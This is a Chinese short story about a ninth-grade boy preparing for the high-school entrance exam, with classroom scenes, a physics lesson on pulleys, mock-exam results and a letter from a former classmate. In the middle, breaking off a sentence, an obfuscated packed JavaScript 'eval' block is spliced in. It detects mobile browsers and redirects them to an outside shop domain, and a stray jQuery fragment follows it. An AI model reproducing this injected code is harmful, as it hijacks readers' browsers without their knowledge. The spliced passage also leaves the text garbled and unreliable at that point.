初三下学期开学第一天，黑板上多了一样东西。一块塑料牌子，挂在黑板右边，红底白字，印着“距中考还有”五个字，后面跟着一个可以插数字卡片的卡槽。郭老师从粉笔盒里抽出一张“1”和一张“2”，并排插进去。一百一十二天。教室里安静了几秒。日光灯嗡嗡响着，窗外煤渣跑道上还有残雪，被早晨的阳光照得亮晃晃的，刺得人眼睛发酸。
孙小六看着那个数字。一百一十二，他把它拆开了——一百天，再加十二天。一百天是三个多月。十二天是不到两个星期。拆开了就不大了。他把视线从牌子上收回来，翻开课本。书页上的字他已经预习过了，昨天晚上在台灯底下，把语文的古文和英语的阅读理解各做了一篇。做错的地方用红笔圈了，今天要问。
郭老师没有讲新课。她让全班把上学期期末的卷子拿出来，一道一道地过。不是她讲，是学生讲。谁错了谁站起来说错在哪儿，为什么错，现在会不会了。说到阅读理解，她点了一个女生的名字。女生站起来，声音细细的，说她把“作者为什么用‘踽踽’这个词”答成了“作者喜欢用生僻词”。有人笑了，笑声不大，像被什么东西闷住了。女生低着头，耳朵尖红了。
郭老师没有笑。她把粉笔放在讲台上。“‘踽踽’不是生僻词。是孤独地走路的样子。你答错了不是因为你不认识这个词，是因为你没有把自己放进那个走路的人身上。你只是从外面看这个词。”她把粉笔拿起来，在黑板上写了“踽踽”两个字，然后在旁边画了一个小人。小人弯着腰，背着什么东西，走在一条很长很长的路上。“作者写的是他父亲。他父亲一个人走在送他的路上，走得很慢，背驼着。你把自己当成那个走在路上的人，这个词就不会忘了。”
女生坐下来，把“踽踽”两个字抄在了卷子边上。她抄得很慢，一笔一画的，像在描红。
课间，林宇从后排凑过来，手里拿着一本翻烂了的英语词汇手册。封面用透明胶布贴了好几层，书脊裂了一道口子，露出里面黄色的胶。他把手册摊在孙小六桌上，指着一个用荧光笔划过的单词。“这个，我昨天背了，今天又忘了。‘necessary’，我老是记不住中间是一个c还是两个c。”
孙小六看了看那个单词。他在自己的小本子上也划过这个词，红笔画了一个圈，圈旁边写着“一个c，两个s”。他把小本子翻出来给林宇看。“你记反了。一个c，两个s。necessary。你把它拆开，ne-ce-ssary。ce是一个，ss是两个。”
林宇把单词抄在手心里。圆珠笔在掌心上划过，留下蓝黑色的笔画。“一个c，两个s。”他把手心攥起来又摊开，看了两遍。“我妈昨天给我报了个英语补习班。不是那种贵的，就是巷子口那个退休老师办的，一节课二十块钱。她说二十块钱管什么用，我说管记住一个单词。记住一个是一个。”
他把手心攥住了，没有再摊开。
上午最后一节是体育课。老马没有再让学生跑煤渣跑道了——雪化了以后跑道泥泞，踩上去深一脚浅一脚的，像走在浆糊里。他把学生带到教学楼后面的空地上，练立定跳远。中考体育考立定跳远，占十分。老马在地上用白灰画了一条起跳线，又画了刻度，两米满分，一米八及格。刻度歪歪扭扭的，像一条被拉长了的蛇。
学生一个一个跳。有人跳了一米九，落地的时候脚底打滑，屁股坐在了地上，白灰沾了一裤子。有人跳了一米六，老马说你再跳一次，摆臂用力，蹬地的时候脚掌整个踩实。那人又跳了一次，一米六五。
轮到孙小六。他站在起跳线上，脚掌踩着白灰线边缘。摆臂，屈膝，蹬地。身体腾空的那一瞬很短，短到几乎感觉不到。但他感觉到了——脚掌离开地面的那一刹那，地面的力从脚底传上来，穿过小腿、大腿、腰、背、肩膀，一直传到指尖。像锥子扎进皮子时那道反作用力。像钥匙浸入水中时橡皮筋变短的那个力。他以前不知道那个力叫“蹬地”，现在知道了。落地。老马用卷尺量了量，两米零二。满分了。老马把卷尺收起来，在记录表上写了一个“10”。“你蹬地的时候脚掌整个踩实了。很多人跳远只用前脚掌蹬，力量散了一半。你修鞋练出来的，脚掌知道怎么使劲。”孙小六看着地上自己踩出来的那个脚印。白灰线上，一个完整的脚掌印，五个脚趾都清清楚楚。
下午放学，孙小六没有直接回家。他去了物理实验室。周老师在那里等他。
物理实验室在教学楼最顶层，走廊尽头。门是那种老式的弹簧门，推开的时候吱呀一声，像一声被拉长了的叹息。里面摆着六张实验桌，桌面上铺着绿色的橡胶垫，橡胶垫上烫着好几个烟疤——不是周老师烫的，是以前的学生留下的。周老师从来不遮那些烟疤，就让它们在那儿。他说实验室里的东西，用过了就有痕迹，有痕迹才是活的。
周老师站在靠窗那张桌子旁边，面前摆着一套滑轮组。不是上次那个小的，是一套大的，五个滑轮串在一起，绳子从第一个穿到第五个，绕来绕去的，像一团被解开了又缠上的线。“今天讲机械效率。你期中那道题只得了两分。不是因为你不会算，是因为你没有亲手拉过。”他把绳头递给孙小六。“拉。”
孙小六握住绳头。绳子是粗麻绳，毛刺扎着手心。他往下拉。钩码升起来了，很慢。他拉了好长一段绳子，钩码只升起来一小截。手感觉到绳子上的分量比直接提钩码轻了很多，但手要走的路长了不止一倍。他拉到头，钩码碰到滑轮，发出轻轻的一声金属碰撞声。
“你拉了多少绳子。”周老师问。
孙小六看了看桌沿上自己拉过的绳长。从桌面到地面，又从地面拉到胸口，加起来有一米多。钩码升起来的高度，不到二十厘米。“拉了一米多。”
“钩码多重。”
“应该是两千克。”
“你手上感觉到的力，大概多重。”
孙小六想了想。拉绳子的时候，手感觉到的阻力大概有直接提钩码的三分之一。不是算出来的，是手感觉到的。他的手提过钥匙，提过鞋底，提过搪瓷碗里攒满的蒜瓣。他知道那个分量。“不到一斤。”
周老师在黑板上画了一个滑轮组的示意图，把绳子的绕法一根一根标出来。五根绳子分担了钩码的重量，理论上应该省力到五分之一。但实际感觉到的比五分之一重一点——因为有摩擦，滑轮和绳子之间，滑轮轴和轴承之间，都在吃着力。“你刚才拉的，机械效率大概百分之八十。剩下那百分之二十，是摩擦吃掉的。”周老师把粉笔放下。“机械效率永远不会是百分之百。总有一部分力被别的地方吃掉。你能做的，是让它尽量高。绳子顺，滑轮润，角度正。每一处都捋顺了，效率就高。”
孙小六看着黑板上的示意图。五根绳子分担着同一个钩码，每一根都拉着一部分重量。他想起蒋师傅缝鞋底时说的那句话——修鞋跟做人一样，不能往死里绷。绷太紧了，早晚要崩。滑轮组分担重量，和针脚分担张力，原来是一回事。他以前不知道这叫“机械效率”。现在知道了。
从实验室出来的时候，天已经暗了。走廊里没有人，他的脚步声在墙壁之间弹来弹去，像一颗被反复击打的乒乓球。走到二楼拐角，他看见陈浩蹲在墙根底下，面前摊着一本英语阅读理解。手边放着一个电子词典，屏幕的光照在他脸上，蓝荧荧的。他看一篇，查几个单词，把意思写在句子旁边。写完了再读一遍，读完做后面的题。做完一道，对答案。错了的就用红笔把原文里对应的句子划出来，在旁边写上为什么错。
孙小六在他旁边蹲下来。陈浩抬起头看了他一眼，然后把电子词典往他那边推了推。“这篇文章，最后一段，我读了三遍没读懂。你帮我看看。”
孙小六把那篇阅读理解拿过来。是一篇关于火山灰对航空影响的说明文，里面有很多他不认识的词。“eruption”，“aviation”，“ash”，“cancel”。他挨个查了词典，把意思标在旁边，然后从头读起。读到第三遍，他弄懂了——火山喷发，火山灰飘到高空，飞机发动机吸进去会出故障，所以航班取消。他把这段意思讲给陈浩听。陈浩听完，把文章重新读了一遍。读到“cancel”的时候，他的手指在单词下面划了一道横线。
“这个词我认识。取消。但我读的时候没把它跟前面连起来。我以为是说火山灰影响了航空，不知道最后落脚是航班取消。”他把“cancel”用红笔圈出来，在旁边画了一个箭头，指向文章第一句里的“flight”。从“flight”到“cancel”，箭头穿过整篇文章。“以后我读说明文，先看第一句和最后一句。中间是解释。”
他把电子词典关掉，放进口袋里。屏幕的光灭了，走廊里只剩下头顶日光灯的白光。
三月底第一次模拟考试，孙小六考了全班第六名。物理八十七，英语八十八，数学八十二。总分比期末多了二十多分。
成绩单贴出来的那天下午，郭老师把他叫到了办公室。办公室里没有别人，周老师不在，其他老师都去开会了。日光灯嗡嗡响着，郭老师桌上堆着两摞作文本，红笔夹在最上面那本的中间，笔帽没有套，笔尖干了的红色墨水结成一个小小的、暗红色的球。
她让孙小六坐下来。不是坐在她对面，是坐在她旁边，挨着那两摞作文本。“你初一转过来的时候，英语课我第一次点你名。你站起来读第三段，读得很流利。那时候我以为你在这儿待不长。”她把孙小六的成绩单从抽屉里拿出来，摊在桌上。“你待下来了。不仅待下来了，你把自己种在这儿了。”
她的手指点在“物理八十七”上。“周老师说，你拉过滑轮组以后，机械效率那道题再没错过。”
又点在“英语八十八”上。“吴老师说，你现在的阅读理解，说明文和议论文得分率最高。因为你读文章先找结构，不是先查单词。”
手指停在总分上。“你的成绩，能上区重点。冲一冲，能上更好。但你要想清楚，你去高中是为了什么。不是为了离开这儿。是带着这儿的东西，去一个更大的地方。”
孙小六看着成绩单上自己的名字。第六名。初一第一次月考，他考了第四十一名。那时候他的名字在成绩单最底下，他要蹲下来才能找到。现在他不用蹲了。不是因为他长高了，是因为名字自己走上来了。
“郭老师，我要是考上了高中，蒋师傅的修鞋摊怎么办。”
郭老师把成绩单折好，放进抽屉里。“你每周六回来。鞋摊不会跑。你也不会。”
四月初一个星期六，孙小六在修鞋摊上收到了一封信。不是邮递员送的，是老周顺路捎来的。信封是牛皮纸的，上面贴着邮票，邮戳盖的是外国语学校附近的邮局。寄信人那一栏，写着“许盈”两个字。
孙小六把信拿在手里，没有马上拆。信封上的字写得很工整，一笔一画的，像印上去的。他看了很久，然后把信放进口袋里，挨着火柴盒。心跳得很快。不是那种慌张的快，是那种有什么东西在胸口里往外顶的快。像锥子扎进皮子前的那一瞬。
他把那颗刻了“六”字的蒜瓣摸出来，攥在手心里。蒜瓣凉凉的，刻痕硌着掌心。心跳慢下来了。
他把信拆开。信很短，只有一页纸。
“孙小六：
你转学以后，我一直想给你写信。不知道写什么，就没写。今天体育课，我在操场上看见有人在踢球，进了三个球。想起你。你当年也进过三个球。
我在外国语挺好的。成绩中上。数学不太好，物理也是。你物理好吗？
你要是收到信，不用回。我就是想写。
许盈”
孙小六把信读了三遍。第一遍很快，第二遍很慢，第三遍是一个句子一个句子读的。读到“想起你”的时候，他的手指在那三个字下面停了一下。她把“想起你”放
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510473|202973||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在句子中间，前面是进球，后面是句号。像把一样东西放在桌子上，不往前推，也不往后挪。就是放着。
他把信折好，放回信封里。信封上，许盈写他名字的时候，“孙”字的子字旁那一提拖得很长，比别的笔画都长。像一个人写到这里的时候，手停了一下，然后继续写下去。
他没有回信。不是不想回，是不知道写什么。他把信放在枕头底下，压着火柴盒。晚上躺下来的时候，能感觉到信封的边角微微硌着枕头。不疼。就是知道它在。
四月下旬，槐树又开花了。和去年一样，先是巷子口那棵老槐树，接着整条巷子的槐树都跟着开了。白色的花瓣落在遮阳伞上，落在炭炉边上，落在老太太的头发上。
老太太现在不剥蒜了。她的手不太听使唤了，蒜皮撕不开，指甲掐不住蒜蒂。她就把蒜放在膝盖上，用手掌慢慢地搓。搓一会儿，蒜皮松了，再一点一点剥。剥一颗蒜要很久，剥出来的蒜瓣上带着坑坑洼洼的指甲印。她把剥好的蒜放进搪瓷碗里，咚的一声，和去年一样。
陈浩蹲在她旁边，手里拿着英语词汇手册。背一个单词，剥一颗蒜。他把“persist”抄在手心里，一边剥蒜一边背。“坚持。p-e-r-s-i-s-t。坚持。”蒜皮在他指间碎成一小片一小片的紫白色，落在词汇手册的封面上，他用手指拂掉，继续背。
老太太看着他手心里的单词。她不认识，但她把手伸过去，用手指摸了摸那几个字母。摸得很慢，像在摸一道刻在树皮上的痕迹。“这个字是什么意思。”
“坚持。”
老太太把手收回来，放在膝盖上的蒜瓣上。蒜瓣在她掌心里滚了半圈，停住了。“你爷爷当年修房梁，把楔子打进去，房主说这能行吗。他说，打进去就知道了。楔子打进去了，房梁撑了很多年。那就是坚持。”她把蒜瓣放进搪瓷碗里。“不是咬着牙。是打进去，然后就不动了。”
五月中旬第二次模拟考试，孙小六考了全班第五名。物理九十一，英语九十，数学八十五。总分比一模又多了十几分。
成绩单贴出来那天，他没有马上去看。他先把蒋师傅修好的一双布鞋送到巷子尾老周家，回来的时候经过成绩单，扫了一眼。第五名。他看了一眼就走了，走到教室门口，又回头看了一眼。确认那个数字还在。
林宇考了第十九名。物理六十八，及格了，还多了八分。英语六十二。他把成绩单上的数字抄在手心里，抄完攥起拳头，把数字攥在掌心里。然后松开，看着那些数字被手汗洇湿，一点一点变模糊。“十九名。我妈说，能上普通高中了。”他把手心在裤子上蹭了蹭，蹭干了。“她说上了高中，让我住校。住校的话，一个星期回来一次。她给我蒸一锅馒头，带到学校去。”
孙小六看着他。林宇说这话的时候，语气跟说“明天我带包子”是一样的。馒头，住校，一个星期回来一次。他把这些词一个一个放在桌上，摆整齐了，然后挨个看了一遍。看完了，就收起来。
六月初，中考前最后一个星期。
城西中学的煤渣跑道上已经没有人在上面跑了。老马把跑道用绳子拦起来，插了一块纸牌子，上面写着“考前养护，禁止踩踏”。牌子歪歪的，插在煤渣里，被风吹得晃来晃去。煤渣跑道的裂缝里，春天新长的草已经被人拔过好几茬了，现在又冒出来，短短的，嫩嫩的，在风里摇着。
孙小六每天还是走那条路上学。经过修鞋摊的时候，蒋师傅已经把遮阳伞撑开了。老太太坐在小马扎上，膝盖上放着搪瓷碗，碗里攒着几颗剥好的蒜瓣。她看见孙小六，把手伸进口袋里，摸出来的不是糖，是一根红绳。红绳上系着一个小小的玉扣，玉扣上有一道裂纹，用金线镶过。裂纹还在，但被金线填着。是她很多年前去云南旅游时在地摊上买的，她一直戴着。
她把红绳放在孙小六手心里。“这是奶奶戴了很多年的。裂纹镶过，比没裂的时候还结实。你戴着，考场上手不抖。”
孙小六把红绳接过来。玉扣凉凉的，镶金线的那道裂纹在阳光里闪了一下。他把红绳系在手腕上。系不紧，老太太帮他系。她的手不太听使唤了，系了好几次才系上。系好了，她把红绳转了转，让玉扣贴着孙小六的脉搏。
那天下午，孙小六一个人走到槐树底下。槐花开得正盛，白花花的一树，风一过就簌簌地落。他把手放在树干上，摸到陈浩刻的那行字。“妈，少走点路。”“路”字的一捺被树皮包住大半了，只剩一个尖尖。他把手从树干上收回来，从口袋里摸出火柴盒，打开。里面的东西——蒋师傅的纸条，红薯皮碎片，九张糖纸，一片绿萝叶子，两颗刻了“六”字的蒜瓣，一小截白线头，还有许盈的信。他没有把信拿出来，就是看了看信封上那个拖得很长的“孙”字。
他把火柴盒盖上，放回口袋。然后蹲下来，在槐树根部的泥土里，用手指挖了一个浅浅的小坑。从火柴盒里拿出第一颗刻了“六”字的蒜瓣——去年陈浩奶奶给的那颗。蒜瓣干透了，蒜皮已经掉光了，蒜肉是象牙色的，刻痕深深的。他把蒜瓣放进小坑里，用土盖上，用手掌按实了。
种在那儿了。
中考前最后一天，郭老师没有讲课。她让全班把书合上，把笔放下，把两只手放在桌上。“你们在我班上待了三年。有人待了三年，有人中间转过来。不管待了多久，今天最后一天。”她的声音沙沙的，像砂纸擦过木头，和念《背影》的时候一样，和念《出师表》的时候也一样。
她把粉笔拿起来，在黑板上写了两个字——“去吧”。粉笔断了一下，她捡起来继续写。两个字端端正正地待在黑板上，像两个站在路口的人。
然后她拍了拍手上的粉笔灰，走了。
教室里安静了很久。日光灯嗡嗡响着。窗外，槐花还在落。孙小六把手腕上的红绳转了转，玉扣贴着脉搏，一下一下地跳着。
他把书合上，放进了书包里。